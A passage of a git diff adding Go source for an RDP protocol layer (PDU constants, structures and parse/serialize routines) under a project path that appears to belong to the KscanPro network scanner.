+ PDUTYPE2_SUPPRESS_OUTPUT = 0x23
+ PDUTYPE2_SHUTDOWN_REQUEST = 0x24
+ PDUTYPE2_SHUTDOWN_DENIED = 0x25
+ PDUTYPE2_SAVE_SESSION_INFO = 0x26
+ PDUTYPE2_FONTLIST = 0x27
+ PDUTYPE2_FONTMAP = 0x28
+ PDUTYPE2_SET_KEYBOARD_INDICATORS = 0x29
+ PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST = 0x2B
+ PDUTYPE2_BITMAPCACHE_ERROR_PDU = 0x2C
+ PDUTYPE2_SET_KEYBOARD_IME_STATUS = 0x2D
+ PDUTYPE2_OFFSCRCACHE_ERROR_PDU = 0x2E
+ PDUTYPE2_SET_ERROR_INFO_PDU = 0x2F
+ PDUTYPE2_DRAWNINEGRID_ERROR_PDU = 0x30
+ PDUTYPE2_DRAWGDIPLUS_ERROR_PDU = 0x31
+ PDUTYPE2_ARC_STATUS_PDU = 0x32
+ PDUTYPE2_STATUS_INFO_PDU = 0x36
+ PDUTYPE2_MONITOR_LAYOUT_PDU = 0x37
+)
+
+const (
+ CTRLACTION_REQUEST_CONTROL = 0x0001
+ CTRLACTION_GRANTED_CONTROL = 0x0002
+ CTRLACTION_DETACH = 0x0003
+ CTRLACTION_COOPERATE = 0x0004
+)
+
+const (
+ STREAM_UNDEFINED = 0x00
+ STREAM_LOW = 0x01
+ STREAM_MED = 0x02
+ STREAM_HI = 0x04
+)
+
+const (
+ FASTPATH_UPDATETYPE_ORDERS = 0x0
+ FASTPATH_UPDATETYPE_BITMAP = 0x1
+ FASTPATH_UPDATETYPE_PALETTE = 0x2
+ FASTPATH_UPDATETYPE_SYNCHRONIZE = 0x3
+ FASTPATH_UPDATETYPE_SURFCMDS = 0x4
+ FASTPATH_UPDATETYPE_PTR_NULL = 0x5
+ FASTPATH_UPDATETYPE_PTR_DEFAULT = 0x6
+ FASTPATH_UPDATETYPE_PTR_POSITION = 0x8
+ FASTPATH_UPDATETYPE_COLOR = 0x9
+ FASTPATH_UPDATETYPE_CACHED = 0xA
+ FASTPATH_UPDATETYPE_POINTER = 0xB
+)
+
+const (
+ BITMAP_COMPRESSION = 0x0001
+ //NO_BITMAP_COMPRESSION_HDR = 0x0400
+)
+
+type ShareDataHeader struct {
+ SharedId uint32 `struc:"little"`
+ Padding1 uint8 `struc:"little"`
+ StreamId uint8 `struc:"little"`
+ UncompressedLength uint16 `struc:"little"`
+ PDUType2 uint8 `struc:"little"`
+ CompressedType uint8 `struc:"little"`
+ CompressedLength uint16 `struc:"little"`
+}
+
+func NewShareDataHeader(size int, type2 uint8, shareId uint32) *ShareDataHeader {
+ return &ShareDataHeader{
+ SharedId: shareId,
+ PDUType2: type2,
+ StreamId: STREAM_LOW,
+ UncompressedLength: uint16(size + 4),
+ }
+}
+
+type PDUMessage interface {
+ Type() uint16
+ Serialize() []byte
+}
+
+type DemandActivePDU struct {
+ SharedId uint32 `struc:"little"`
+ LengthSourceDescriptor uint16 `struc:"little,sizeof=SourceDescriptor"`
+ LengthCombinedCapabilities uint16 `struc:"little"`
+ SourceDescriptor []byte `struc:"sizefrom=LengthSourceDescriptor"`
+ NumberCapabilities uint16 `struc:"little,sizeof=CapabilitySets"`
+ Pad2Octets uint16 `struc:"little"`
+ CapabilitySets []Capability `struc:"sizefrom=NumberCapabilities"`
+ SessionId uint32 `struc:"little"`
+}
+
+func (d *DemandActivePDU) Type() uint16 {
+ return PDUTYPE_DEMANDACTIVEPDU
+}
+
+func (d *DemandActivePDU) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt32LE(d.SharedId, buff)
+ core.WriteUInt16LE(d.LengthSourceDescriptor, buff)
+ core.WriteUInt16LE(d.LengthCombinedCapabilities, buff)
+ core.WriteBytes([]byte(d.SourceDescriptor), buff)
+ core.WriteUInt16LE(uint16(len(d.CapabilitySets)), buff)
+ core.WriteUInt16LE(d.Pad2Octets, buff)
+ for _, cap := range d.CapabilitySets {
+ core.WriteUInt16LE(uint16(cap.Type()), buff)
+ capBuff := &bytes.Buffer{}
+ struc.Pack(capBuff, cap)
+ capBytes := capBuff.Bytes()
+ core.WriteUInt16LE(uint16(len(capBytes)+4), buff)
+ core.WriteBytes(capBytes, buff)
+ }
+ core.WriteUInt32LE(d.SessionId, buff)
+ return buff.Bytes()
+}
+
+func readDemandActivePDU(r io.Reader) (*DemandActivePDU, error) {
+ d := &DemandActivePDU{}
+ var err error
+ d.SharedId, err = core.ReadUInt32LE(r)
+ if err != nil {
+ return nil, err
+ }
+ d.LengthSourceDescriptor, err = core.ReadUint16LE(r)
+ d.LengthCombinedCapabilities, err = core.ReadUint16LE(r)
+ sourceDescriptorBytes, err := core.ReadBytes(int(d.LengthSourceDescriptor), r)
+ if err != nil {
+ return nil, err
+ }
+ d.SourceDescriptor = sourceDescriptorBytes
+ d.NumberCapabilities, err = core.ReadUint16LE(r)
+ d.Pad2Octets, err = core.ReadUint16LE(r)
+ d.CapabilitySets = make([]Capability, 0)
+ glog.Debug("NumberCapabilities is", d.NumberCapabilities)
+ for i := 0; i < int(d.NumberCapabilities); i++ {
+ c, err := readCapability(r)
+ if err != nil {
+ //return nil, err
+ continue
+ }
+ d.CapabilitySets = append(d.CapabilitySets, c)
+ }
+ d.NumberCapabilities = uint16(len(d.CapabilitySets))
+ d.SessionId, err = core.ReadUInt32LE(r)
+ //glog.Info("SessionId:", d.SessionId)
+ if err != nil {
+ return nil, err
+ }
+ return d, nil
+}
+
+type ConfirmActivePDU struct {
+ SharedId uint32 `struc:"little"`
+ OriginatorId uint16 `struc:"little"`
+ LengthSourceDescriptor uint16 `struc:"little,sizeof=SourceDescriptor"`
+ LengthCombinedCapabilities uint16 `struc:"little"`
+ SourceDescriptor []byte `struc:"sizefrom=LengthSourceDescriptor"`
+ NumberCapabilities uint16 `struc:"little,sizeof=CapabilitySets"`
+ Pad2Octets uint16 `struc:"little"`
+ CapabilitySets []Capability `struc:"sizefrom=NumberCapabilities"`
+}
+
+func (*ConfirmActivePDU) Type() uint16 {
+ return PDUTYPE_CONFIRMACTIVEPDU
+}
+
+func (c *ConfirmActivePDU) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt32LE(c.SharedId, buff)
+ core.WriteUInt16LE(c.OriginatorId, buff)
+ core.WriteUInt16LE(uint16(len(c.SourceDescriptor)), buff)
+
+ capsBuff := &bytes.Buffer{}
+ for _, capa := range c.CapabilitySets {
+ core.WriteUInt16LE(uint16(capa.Type()), capsBuff)
+ capBuff := &bytes.Buffer{}
+ struc.Pack(capBuff, capa)
+ if capa.Type() == CAPSTYPE_INPUT {
+ core.WriteBytes([]byte{0x0c, 0x00, 0x00, 0x00}, capBuff)
+ }
+ capBytes := capBuff.Bytes()
+ core.WriteUInt16LE(uint16(len(capBytes)+4), capsBuff)
+ core.WriteBytes(capBytes, capsBuff)
+ }
+ capsBytes := capsBuff.Bytes()
+
+ core.WriteUInt16LE(uint16(2+2+len(capsBytes)), buff)
+ core.WriteBytes([]byte(c.SourceDescriptor), buff)
+ core.WriteUInt16LE(uint16(len(c.CapabilitySets)), buff)
+ core.WriteUInt16LE(c.Pad2Octets, buff)
+ core.WriteBytes(capsBytes, buff)
+ return buff.Bytes()
+}
+
+// 9401 => share control header
+// 1300 => share control header
+// ec03 => share control header
+// ea030100 => shareId 66538
+// ea03 => OriginatorId
+// 0400
+// 8001 => LengthCombinedCapabilities
+// 72647079
+// 0c00 => NumberCapabilities 12
+// 0000
+// caps below
+// 010018000100030000020000000015040000000000000000
+// 02001c00180001000100010000052003000000000100000001000000
+// 030058000000000000000000000000000000000000000000010014000000010000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000008403000000000000000000
+// 04002800000000000000000000000000000000000000000000000000000000000000000000000000
+// 0800080000001400
+// 0c00080000000000
+// 0d005c001500000009040000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000
+// 0f00080000000000
+// 10003400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+// 11000c000000000000000000
+// 14000c000000000000000000
+// 1a00080000000000
+
+func NewConfirmActivePDU() *ConfirmActivePDU {
+ return &ConfirmActivePDU{
+ OriginatorId: 0x03EA,
+ CapabilitySets: make([]Capability, 0),
+ SourceDescriptor: []byte("rdpy"),
+ }
+}
+
+func readConfirmActivePDU(r io.Reader) (*ConfirmActivePDU, error) {
+ p := &ConfirmActivePDU{}
+ var err error
+ p.SharedId, err = core.ReadUInt32LE(r)
+ if err != nil {
+ return nil, err
+ }
+ p.OriginatorId, err = core.ReadUint16LE(r)
+ p.LengthSourceDescriptor, err = core.ReadUint16LE(r)
+ p.LengthCombinedCapabilities, err = core.ReadUint16LE(r)
+
+ sourceDescriptorBytes, err := core.ReadBytes(int(p.LengthSourceDescriptor), r)
+ if err != nil {
+ return nil, err
+ }
+ p.SourceDescriptor = sourceDescriptorBytes
+ p.NumberCapabilities, err = core.ReadUint16LE(r)
+ p.Pad2Octets, err = core.ReadUint16LE(r)
+
+ p.CapabilitySets = make([]Capability, 0)
+ for i := 0; i < int(p.NumberCapabilities); i++ {
+ c, err := readCapability(r)
+ if err != nil {
+ return nil, err
+ }
+ p.CapabilitySets = append(p.CapabilitySets, c)
+ }
+ s, _ := core.ReadUInt32LE(r)
+ glog.Info("sessionid:", s)
+ return p, nil
+}
+
+type DeactiveAllPDU struct {
+ ShareId uint32 `struc:"little"`
+ LengthSourceDescriptor uint16 `struc:"little,sizeof=SourceDescriptor"`
+ SourceDescriptor []byte
+}
+
+func (*DeactiveAllPDU) Type() uint16 {
+ return PDUTYPE_DEACTIVATEALLPDU
+}
+
+func (d *DeactiveAllPDU) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, d)
+ return buff.Bytes()
+}
+
+func readDeactiveAllPDU(r io.Reader) (*DeactiveAllPDU, error) {
+ p := &DeactiveAllPDU{}
+ err := struc.Unpack(r, p)
+ return p, err
+}
+
+type DataPDU struct {
+ Header *ShareDataHeader
+ Data DataPDUData
+}
+
+func (*DataPDU) Type() uint16 {
+ return PDUTYPE_DATAPDU
+}
+
+func (d *DataPDU) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, d.Header)
+ struc.Pack(buff, d.Data)
+ return buff.Bytes()
+}
+
+func NewDataPDU(data DataPDUData, shareId uint32) *DataPDU {
+ dataBuff := &bytes.Buffer{}
+ struc.Pack(dataBuff, data)
+ return &DataPDU{
+ Header: NewShareDataHeader(len(dataBuff.Bytes()), data.Type2(), shareId),
+ Data: data,
+ }
+}
+
+func readDataPDU(r io.Reader) (*DataPDU, error) {
+ header := &ShareDataHeader{}
+ err := struc.Unpack(r, header)
+ if err != nil {
+ glog.Error("read data pdu header error", err)
+ return nil, err
+ }
+ var d DataPDUData
+ glog.Debugf("header=%02x", header.PDUType2)
+ switch header.PDUType2 {
+ case PDUTYPE2_SYNCHRONIZE:
+ d = &SynchronizeDataPDU{}
+ case PDUTYPE2_CONTROL:
+ d = &ControlDataPDU{}
+ case PDUTYPE2_FONTLIST:
+ d = &FontListDataPDU{}
+ case PDUTYPE2_SET_ERROR_INFO_PDU:
+ d = &ErrorInfoDataPDU{}
+ case PDUTYPE2_FONTMAP:
+ d = &FontMapDataPDU{}
+ case PDUTYPE2_SAVE_SESSION_INFO:
+ s := &SaveSessionInfo{}
+ s.Unpack(r)
+ d = s
+ default:
+ err = errors.New(fmt.Sprintf("Unknown data pdu type2 0x%02x", header.PDUType2))
+ glog.Error(err)
+ return nil, err
+ }
+
+ if header.PDUType2 != PDUTYPE2_SAVE_SESSION_INFO {
+ err = struc.Unpack(r, d)
+ if err != nil {
+ glog.Error("read data pdu error", err)
+ return nil, err
+ }
+ }
+
+ glog.Debugf("d=%+v", d)
+ p := &DataPDU{
+ Header: header,
+ Data: d,
+ }
+ return p, nil
+}
+
+type DataPDUData interface {
+ Type2() uint8
+}
+
+type SynchronizeDataPDU struct {
+ MessageType uint16 `struc:"little"`
+ TargetUser uint16 `struc:"little"`
+}
+
+func (*SynchronizeDataPDU) Type2() uint8 {
+ return PDUTYPE2_SYNCHRONIZE
+}
+
+func NewSynchronizeDataPDU(targetUser uint16) *SynchronizeDataPDU {
+ return &SynchronizeDataPDU{
+ MessageType: 1,
+ TargetUser: targetUser,
+ }
+}
+
+type ControlDataPDU struct {
+ Action uint16 `struc:"little"`
+ GrantId uint16 `struc:"little"`
+ ControlId uint32 `struc:"little"`
+}
+
+func (*ControlDataPDU) Type2() uint8 {
+ return PDUTYPE2_CONTROL
+}
+
+type FontListDataPDU struct {
+ NumberFonts uint16 `struc:"little"`
+ TotalNumFonts uint16 `struc:"little"`
+ ListFlags uint16 `struc:"little"`
+ EntrySize uint16 `struc:"little"`
+}
+
+func (*FontListDataPDU) Type2() uint8 {
+ return PDUTYPE2_FONTLIST
+}
+
+type ErrorInfoDataPDU struct {
+ ErrorInfo uint32 `struc:"little"`
+}
+
+func (*ErrorInfoDataPDU) Type2() uint8 {
+ return PDUTYPE2_SET_ERROR_INFO_PDU
+}
+
+type FontMapDataPDU struct {
+ NumberEntries uint16 `struc:"little"`
+ TotalNumEntries uint16 `struc:"little"`
+ MapFlags uint16 `struc:"little"`
+ EntrySize uint16 `struc:"little"`
+}
+
+func (*FontMapDataPDU) Type2() uint8 {
+ return PDUTYPE2_FONTMAP
+}
+
+type InfoType uint32
+
+const (
+ INFOTYPE_LOGON = 0x00000000
+ INFOTYPE_LOGON_LONG = 0x00000001
+ INFOTYPE_LOGON_PLAINNOTIFY = 0x00000002
+ INFOTYPE_LOGON_EXTENDED_INFO = 0x00000003
+)
+const (
+ LOGON_EX_AUTORECONNECTCOOKIE = 0x00000001
+ LOGON_EX_LOGONERRORS = 0x00000002
+)
+
+type LogonFields struct {
+ CbFileData uint32 `struc:"little"`
+ Len uint32 //28 `struc:"little"`
+ Version uint32 // 1 `struc:"little"`
+ LogonId uint32 `struc:"little"`
+ random [16]byte //16 `struc:"little"`
+}
+type SaveSessionInfo struct {
+ InfoType uint32
+ Length uint16
+ FieldsPresent uint32
+ LogonId uint32
+ Random []byte
+}
+
+func (s *SaveSessionInfo) logonInfoV1(r io.Reader) (err error) {
+ core.ReadUInt32LE(r) // cbDomain
+ b, _ := core.ReadBytes(52, r)
+ domain := core.UnicodeDecode(b)
+
+ core.ReadUInt32LE(r) // cbUserName
+ b, _ = core.ReadBytes(512, r)
+ userName := core.UnicodeDecode(b)
+
+ sessionId, _ := core.ReadUInt32LE(r)
+ s.LogonId = sessionId
+ glog.Infof("SessionId:[%d] UserName:[%s] Domain:[%s]", s.LogonId, userName, domain)
+ return err
+}
+func (s *SaveSessionInfo) logonInfoV2(r io.Reader) (err error) {
+ core.ReadUint16LE(r)
+ core.ReadUInt32LE(r)
+ sessionId, _ := core.ReadUInt32LE(r)
+ s.LogonId = sessionId
+ cbDomain, _ := core.ReadUInt32LE(r)
+ cbUserName, _ := core.ReadUInt32LE(r)
+ core.ReadBytes(558, r)
+
+ b, _ := core.ReadBytes(int(cbDomain), r)
+ domain := core.UnicodeDecode(b)
+ b, _ = core.ReadBytes(int(cbUserName), r)
+ userName := core.UnicodeDecode(b)
+ glog.Infof("SessionId:[%d] UserName:[%s] Domain:[%s]", s.LogonId, userName, domain)
+
+ return err
+}
+func (s *SaveSessionInfo) logonPlainNotify(r io.Reader) (err error) {
+ core.ReadBytes(576, r) /* pad (576 bytes) */
+ return err
+}
+func (s *SaveSessionInfo) logonInfoExtended(r io.Reader) (err error) {
+ s.Length, err = core.ReadUint16LE(r)
+ s.FieldsPresent, err = core.ReadUInt32LE(r)
+ glog.Info("FieldsPresent:", s.FieldsPresent)
+ // auto reconnect cookie
+ if s.FieldsPresent&LOGON_EX_AUTORECONNECTCOOKIE != 0 {
+ core.ReadUInt32LE(r)
+ b, _ := core.ReadUInt32LE(r)
+ if b != 28 {
+ return errors.New(fmt.Sprintf("invalid length in Auto-Reconnect packet"))
+ }
+ b, _ = core.ReadUInt32LE(r)
+ if b != 1 {
+ return errors.New(fmt.Sprintf("unsupported version of Auto-Reconnect packet"))
+ }
+ b, _ = core.ReadUInt32LE(r)
+ s.LogonId = b
+ s.Random, _ = core.ReadBytes(16, r)
+ } else { // logon error info
+ core.ReadUInt32LE(r)
+ b, _ := core.ReadUInt32LE(r)
+ b, _ = core.ReadUInt32LE(r)
+ s.LogonId = b
+ }
+ core.ReadBytes(570, r)
+ return err
+}
+func (s *SaveSessionInfo) Unpack(r io.Reader) (err error) {
+ s.InfoType, err = core.ReadUInt32LE(r)
+ switch s.InfoType {
+ case INFOTYPE_LOGON:
+ err = s.logonInfoV1(r)
+ case INFOTYPE_LOGON_LONG:
+ err = s.logonInfoV2(r)
+ case INFOTYPE_LOGON_PLAINNOTIFY:
+ err = s.logonPlainNotify(r)
+ case INFOTYPE_LOGON_EXTENDED_INFO:
+ err = s.logonInfoExtended(r)
+ default:
+ glog.Error("Unhandled saveSessionInfo type 0x%", s.InfoType)
+ return fmt.Errorf("Unhandled saveSessionInfo type 0x%", s.InfoType)
+ }
+
+ return err
+}
+
+func (*SaveSessionInfo) Type2() uint8 {
+ return PDUTYPE2_SAVE_SESSION_INFO
+}
+
+type PersistKeyPDU struct {
+ NumEntriesCache0 uint16 `struc:"little"`
+ NumEntriesCache1 uint16 `struc:"little"`
+ NumEntriesCache2 uint16 `struc:"little"`
+ NumEntriesCache3 uint16 `struc:"little"`
+ NumEntriesCache4 uint16 `struc:"little"`
+ TotalEntriesCache0 uint16 `struc:"little"`
+ TotalEntriesCache1 uint16 `struc:"little"`
+ TotalEntriesCache2 uint16 `struc:"little"`
+ TotalEntriesCache3 uint16 `struc:"little"`
+ TotalEntriesCache4 uint16 `struc:"little"`
+ BBitMask uint8 `struc:"little"`
+ Pad1 uint8 `struc:"little"`
+ Ppad3 uint16 `struc:"little"`
+}
+
+func (*PersistKeyPDU) Type2() uint8 {
+ return PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST
+}
+
+type UpdateData interface {
+ FastPathUpdateType() uint8
+ Unpack(io.Reader) error
+}
+
+type BitmapCompressedDataHeader struct {
+ CbCompFirstRowSize uint16 `struc:"little"`
+ CbCompMainBodySize uint16 `struc:"little"`
+ CbScanWidth uint16 `struc:"little"`
+ CbUncompressedSize uint16 `struc:"little"`
+}
+
+type BitmapData struct {
+ DestLeft uint16 `struc:"little"`
+ DestTop uint16 `struc:"little"`
+ DestRight uint16 `struc:"little"`
+ DestBottom uint16 `struc:"little"`
+ Width uint16 `struc:"little"`
+ Height uint16 `struc:"little"`
+ BitsPerPixel uint16 `struc:"little"`
+ Flags uint16 `struc:"little"`
+ BitmapLength uint16 `struc:"little,sizeof=BitmapDataStream"`
+ BitmapComprHdr *BitmapCompressedDataHeader
+ BitmapDataStream []byte
+}
+
+func (b *BitmapData) IsCompress() bool {
+ return b.Flags&BITMAP_COMPRESSION != 0
+}
+
+type FastPathBitmapUpdateDataPDU struct {
+ Header uint16 `struc:"little"`
+ NumberRectangles uint16 `struc:"little,sizeof=Rectangles"`
+ Rectangles []BitmapData
+}
+
+func (f *FastPathBitmapUpdateDataPDU) Unpack(r io.Reader) error {
+ var err error
+ f.Header, err = core.ReadUint16LE(r)
+ f.NumberRectangles, err = core.ReadUint16LE(r)
+ f.Rectangles = make([]BitmapData, 0, f.NumberRectangles)
+ for i := 0; i < int(f.NumberRectangles); i++ {
+ rect := BitmapData{}
+ rect.DestLeft, err = core.ReadUint16LE(r)
+ rect.DestTop, err = core.ReadUint16LE(r)
+ rect.DestRight, err = core.ReadUint16LE(r)
+ rect.DestBottom, err = core.ReadUint16LE(r)
+ rect.Width, err = core.ReadUint16LE(r)
+ rect.Height, err = core.ReadUint16LE(r)
+ rect.BitsPerPixel, err = core.ReadUint16LE(r)
+ rect.Flags, err = core.ReadUint16LE(r)
+ rect.BitmapLength, err = core.ReadUint16LE(r)
+ ln := rect.BitmapLength
+ if rect.Flags&BITMAP_COMPRESSION != 0 && (rect.Flags&NO_BITMAP_COMPRESSION_HDR == 0) {
+ rect.BitmapComprHdr = new(BitmapCompressedDataHeader)
+ rect.BitmapComprHdr.CbCompFirstRowSize, err = core.ReadUint16LE(r)
+ rect.BitmapComprHdr.CbCompMainBodySize, err = core.ReadUint16LE(r)
+ rect.BitmapComprHdr.CbScanWidth, err = core.ReadUint16LE(r)
+ rect.BitmapComprHdr.CbUncompressedSize, err = core.ReadUint16LE(r)
+ ln = rect.BitmapComprHdr.CbCompMainBodySize
+ }
+
+ rect.BitmapDataStream, err = core.ReadBytes(int(ln), r)
+ f.Rectangles = append(f.Rectangles, rect)
+ }
+ return err
+}
+
+func (*FastPathBitmapUpdateDataPDU) FastPathUpdateType() uint8 {
+ return FASTPATH_UPDATETYPE_BITMAP
+}
+
+type FastPathUpdatePDU struct {
+ UpdateHeader uint8
+ CompressionFlags uint8
+ Size uint16
+ Data UpdateData
+}
+
+const (
+ FASTPATH_OUTPUT_COMPRESSION_USED = 0x2
+)
+
+func readFastPathUpdatePDU(r io.Reader) (*FastPathUpdatePDU, error) {
+ f := &FastPathUpdatePDU{}
+ var err error
+ f.UpdateHeader, err = core.ReadUInt8(r)
+ if err != nil {
+ return nil, err
+ }
+ if (f.UpdateHeader>>4)&FASTPATH_OUTPUT_COMPRESSION_USED != 0 {
+ f.CompressionFlags, err = core.ReadUInt8(r)
+ }
+
+ f.Size, err = core.ReadUint16LE(r)
+ if err != nil {
+ return nil, err
+ }
+ if f.Size == 0 {
+ return f, nil
+ }
+ dataBytes, err := core.ReadBytes(int(f.Size), r)
+ if err != nil {
+ glog.Info(err)
+ return nil, err
+ }
+
+ var d UpdateData
+ switch f.UpdateHeader & 0xf {
+ case FASTPATH_UPDATETYPE_BITMAP:
+ d = &FastPathBitmapUpdateDataPDU{}
+
+ default:
+ glog.Debugf("Unknown Fast Path PDU type 0x%x", f.UpdateHeader)
+ return f, errors.New(fmt.Sprintf("Unknown Fast Path PDU type 0x%x", f.UpdateHeader))
+ //d = nil
+ }
+ if d != nil {
+ err = d.Unpack(bytes.NewReader(dataBytes))
+ if err != nil {
+ glog.Error("Unpack:", err)
+ return nil, err
+ }
+ }
+
+ f.Data = d
+ return f, nil
+}
+
+type ShareControlHeader struct {
+ TotalLength uint16 `struc:"little"`
+ PDUType uint16 `struc:"little"`
+ PDUSource uint16 `struc:"little"`
+}
+
+type PDU struct {
+ ShareCtrlHeader *ShareControlHeader
+ Message PDUMessage
+}
+
+func NewPDU(userId uint16, message PDUMessage) *PDU {
+ pdu := &PDU{}
+ pdu.ShareCtrlHeader = &ShareControlHeader{
+ TotalLength: uint16(len(message.Serialize()) + 6),
+ PDUType: message.Type(),
+ PDUSource: userId,
+ }
+ pdu.Message = message
+ return pdu
+}
+
+func readPDU(r io.Reader) (*PDU, error) {
+ pdu := &PDU{}
+ var err error
+ header := &ShareControlHeader{}
+ err = struc.Unpack(r, header)
+ if err != nil {
+ return nil, err
+ }
+
+ pdu.ShareCtrlHeader = header
+
+ var d PDUMessage
+ switch pdu.ShareCtrlHeader.PDUType {
+ case PDUTYPE_DEMANDACTIVEPDU:
+ glog.Debug("PDUTYPE_DEMANDACTIVEPDU")
+ d, err = readDemandActivePDU(r)
+ case PDUTYPE_DATAPDU:
+ glog.Debug("PDUTYPE_DATAPDU")
+ d, err = readDataPDU(r)
+ case PDUTYPE_CONFIRMACTIVEPDU:
+ glog.Debug("PDUTYPE_CONFIRMACTIVEPDU")
+ d, err = readConfirmActivePDU(r)
+ case PDUTYPE_DEACTIVATEALLPDU:
+ glog.Debug("PDUTYPE_DEACTIVATEALLPDU")
+ d, err = readDeactiveAllPDU(r)
+ default:
+ glog.Errorf("PDU invalid pdu type: 0x%02x", pdu.ShareCtrlHeader.PDUType)
+ }
+ if err != nil {
+ return nil, err
+ }
+ pdu.Message = d
+ return pdu, err
+}
+
+func (p *PDU) serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, p.ShareCtrlHeader)
+ core.WriteBytes(p.Message.Serialize(), buff)
+ return buff.Bytes()
+}
+
+type SlowPathInputEvent struct {
+ EventTime uint32 `struc:"little"`
+ MessageType uint16 `struc:"little"`
+ Size int `struc:"skip"`
+ SlowPathInputData []byte `struc:"sizefrom=Size"`
+}
+
+type PointerEvent struct {
+ PointerFlags uint16 `struc:"little"`
+ XPos uint16 `struc:"little"`
+ YPos uint16 `struc:"little"`
+}
+
+func (p *PointerEvent) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, p)
+ return buff.Bytes()
+}
+
+type SynchronizeEvent struct {
+ Pad2Octets uint16 `struc:"little"`
+ ToggleFlags uint32 `struc:"little"`
+}
+
+func (p *SynchronizeEvent) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, p)
+ return buff.Bytes()
+}
+
+type ScancodeKeyEvent struct {
+ KeyboardFlags uint16 `struc:"little"`
+ KeyCode uint16 `struc:"little"`
+ Pad2Octets uint16 `struc:"little"`
+}
+
+func (p *ScancodeKeyEvent) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, p)
+ return buff.Bytes()
+}
+
+type UnicodeKeyEvent struct {
+ KeyboardFlags uint16 `struc:"little"`
+ Unicode uint16 `struc:"little"`
+ Pad2Octets uint16 `struc:"little"`
+}
+
+func (p *UnicodeKeyEvent) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, p)
+ return buff.Bytes()
+}
+
+type ClientInputEventPDU struct {
+ NumEvents uint16 `struc:"little,sizeof=SlowPathInputEvents"`
+ Pad2Octets uint16 `struc:"little"`
+ SlowPathInputEvents []SlowPathInputEvent `struc:"little"`
+}
+
+func (*ClientInputEventPDU) Type2() uint8 {
+ return PDUTYPE2_INPUT
+}
diff --git a/lib/grdp/protocol/pdu/pdu.go b/lib/grdp/protocol/pdu/pdu.go
new file mode 100644
index 0000000..efceaf9
--- /dev/null
+++ b/lib/grdp/protocol/pdu/pdu.go
@@ -0,0 +1,370 @@
+package pdu
+
+import (
+ "bytes"
+ "encoding/hex"
+ "errors"
+ "fmt"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/emission"
+ "KscanPro/lib/grdp/glog"
+ "KscanPro/lib/grdp/protocol/t125/gcc"
+)
+
+type PDULayer struct {
+ emission.Emitter
+ transport core.Transport
+ sharedId uint32
+ userId uint16
+ channelId uint16
+ serverCapabilities map[CapsType]Capability
+ clientCapabilities map[CapsType]Capability
+ fastPathSender core.FastPathSender
+ demandActivePDU *DemandActivePDU
+}
+
+func NewPDULayer(t core.Transport) *PDULayer {
+ p := &PDULayer{
+ Emitter: *emission.NewEmitter(),
+ transport: t,
+ sharedId: 0x103EA,
+ serverCapabilities: map[CapsType]Capability{
+ CAPSTYPE_GENERAL: &GeneralCapability{
+ ProtocolVersion: 0x0200,
+ },
+ CAPSTYPE_BITMAP: &BitmapCapability{
+ Receive1BitPerPixel: 0x0001,
+ Receive4BitsPerPixel: 0x0001,
+ Receive8BitsPerPixel: 0x0001,
+ BitmapCompressionFlag: 0x0001,
+ MultipleRectangleSupport: 0x0001,
+ },
+ CAPSTYPE_ORDER: &OrderCapability{
+ DesktopSaveXGranularity: 1,
+ DesktopSaveYGranularity: 20,
+ MaximumOrderLevel: 1,
+ OrderFlags: NEGOTIATEORDERSUPPORT,
+ DesktopSaveSize: 480 * 480,
+ },
+ CAPSTYPE_POINTER: &PointerCapability{ColorPointerCacheSize: 20},
+ CAPSTYPE_INPUT: &InputCapability{},
+ CAPSTYPE_VIRTUALCHANNEL: &VirtualChannelCapability{},
+ CAPSTYPE_FONT: &FontCapability{SupportFlags: 0x0001},
+ CAPSTYPE_COLORCACHE: &ColorCacheCapability{CacheSize: 0x0006},
+ CAPSTYPE_SHARE: &ShareCapability{},
+ },
+ clientCapabilities: map[CapsType]Capability{
+ CAPSTYPE_GENERAL: &GeneralCapability{
+ ProtocolVersion: 0x0200,
+ },
+ CAPSTYPE_BITMAP: &BitmapCapability{
+ Receive1BitPerPixel: 0x0001,
+ Receive4BitsPerPixel: 0x0001,
+ Receive8BitsPerPixel: 0x0001,
+ BitmapCompressionFlag: 0x0001,
+ MultipleRectangleSupport: 0x0001,
+ },
+ CAPSTYPE_ORDER: &OrderCapability{
+ DesktopSaveXGranularity: 1,
+ DesktopSaveYGranularity: 20,
+ MaximumOrderLevel: 1,
+ OrderFlags: NEGOTIATEORDERSUPPORT,
+ DesktopSaveSize: 480 * 480,
+ },
+ CAPSTYPE_BITMAPCACHE: &BitmapCacheCapability{},
+ CAPSTYPE_POINTER: &PointerCapability{ColorPointerCacheSize: 20},
+ CAPSTYPE_INPUT: &InputCapability{},
+ CAPSTYPE_BRUSH: &BrushCapability{},
+ CAPSTYPE_GLYPHCACHE: &GlyphCapability{},
+ CAPSTYPE_OFFSCREENCACHE: &OffscreenBitmapCacheCapability{},
+ CAPSTYPE_VIRTUALCHANNEL: &VirtualChannelCapability{},
+ CAPSTYPE_SOUND: &SoundCapability{},
+ CAPSETTYPE_MULTIFRAGMENTUPDATE: &MultiFragmentUpdate{},
+ CAPSTYPE_RAIL: &RemoteProgramsCapability{
+ RailSupportLevel: RAIL_LEVEL_SUPPORTED |
+ RAIL_LEVEL_SHELL_INTEGRATION_SUPPORTED |
+ RAIL_LEVEL_LANGUAGE_IME_SYNC_SUPPORTED |
+ RAIL_LEVEL_SERVER_TO_CLIENT_IME_SYNC_SUPPORTED |
+ RAIL_LEVEL_HIDE_MINIMIZED_APPS_SUPPORTED |
+ RAIL_LEVEL_WINDOW_CLOAKING_SUPPORTED |
